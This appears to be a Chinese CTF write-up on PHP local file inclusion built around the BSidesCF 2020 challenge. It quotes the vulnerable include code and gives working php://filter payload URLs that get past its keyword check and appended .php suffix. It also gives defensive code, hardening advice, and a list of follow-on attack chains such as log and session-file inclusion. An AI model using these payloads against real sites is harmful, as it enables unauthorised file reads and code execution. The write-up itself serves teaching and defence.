从一道BUUCTF Web题,聊聊PHP文件包含那些‘坑’与绕过技巧(实战复盘) 从CTF实战看PHP文件包含漏洞的攻防艺术在Web安全领域PHP文件包含漏洞一直是渗透测试和CTF比赛中的高频考点。这类漏洞看似简单实则暗藏玄机开发者稍有不慎就会留下致命安全隐患。本文将通过一道典型CTF题目BSidesCF 2020的深度剖析带您走进文件包含漏洞的攻防世界揭示那些容易被忽视的安全陷阱和精妙绕过技巧。1. 漏洞原理与常见场景PHP文件包含漏洞主要源于include、require等函数的非安全使用。当开发者将用户可控的输入直接传递给这些函数时攻击者就能通过精心构造的路径参数读取敏感文件或执行任意代码。典型漏洞代码特征$file $_GET[file]; include($file . .php);这类漏洞在实际应用中通常表现为三种形式本地文件包含(LFI)读取服务器上的敏感文件如/etc/passwd远程文件包含(RFI)包含远程服务器上的恶意脚本日志注入通过包含访问日志等文件实现代码执行注意现代PHP默认关闭远程文件包含(allow_url_includeOff)因此RFI在实际中较少见2. CTF题目深度剖析以BSidesCF 2020题目为例关键漏洞代码如下$file $_GET[category]; if(isset($file)) { if(strpos($file, woofers) ! false || strpos($file, meowers) ! false || strpos($file, index)){ include($file . .php); } else{ echo Sorry, we currently only support woofers and meowers.; } }这段代码存在两个关键防御点和一个致命缺陷防御机制后缀自动追加强制添加.php后缀关键词过滤要求参数必须包含特定字符串可利用的缺陷路径穿越未被过滤伪协议处理逻辑存在漏洞3. 绕过技巧实战演示3.1 基础绕过后缀处理陷阱首次尝试直接读取index.php/index.php?categoryphp://filter/convert.base64-encode/resourceindex.php系统报错显示include(php://filter/convert.base64-encode/resourceindex.php.php)绕过方法去除.php后缀/index.php?categoryphp://filter/convert.base64-encode/resourceindex3.2 高级绕过双写与路径穿越当需要读取非php文件如flag时需同时绕过关键词检测和后缀追加方法一路径穿越/index.php?categoryphp://filter/convert.base64-encode/resourceindex/../flag方法二伪协议参数调整/index.php?categoryphp://filter/convert.base64-encode/index/resourceflag这两种方式都满足包含index关键词通过检测最终解析路径不包含.php后缀能够定位到目标flag文件4. 防御方案与最佳实践针对文件包含漏洞推荐采用多层次的防御策略输入验证层// 白名单验证 $allowed [about, contact, index]; if(!in_array(basename($file), $allowed)) { die(Invalid request); } // 路径规范化 $file realpath(./pages/ . $file . .php); if(strpos($file, realpath(./pages)) ! 0) { die(Directory traversal detected); }服务器配置层设置open_basedir限制文件访问范围禁用危险函数allow_url_includeOff定期更新PHP版本修复已知漏洞架构设计层使用前端控制器模式如MVC框架将可包含文件存放在web根目录之外对动态包含实施严格的权限控制5. 漏洞利用的进阶思考在实际渗透测试中文件包含漏洞往往能与其他漏洞形成组合攻击结合文件上传上传含恶意代码的图片通过包含执行日志注入包含access.log注入PHP代码Session劫持包含session文件获取敏感信息PHP封装协议利用expect://或zip://等协议扩展攻击面典型攻击链示例文件上传 → 文件包含 → 代码执行 → 权限提升理解这些攻击模式有助于开发者在设计系统时建立更全面的安全防护。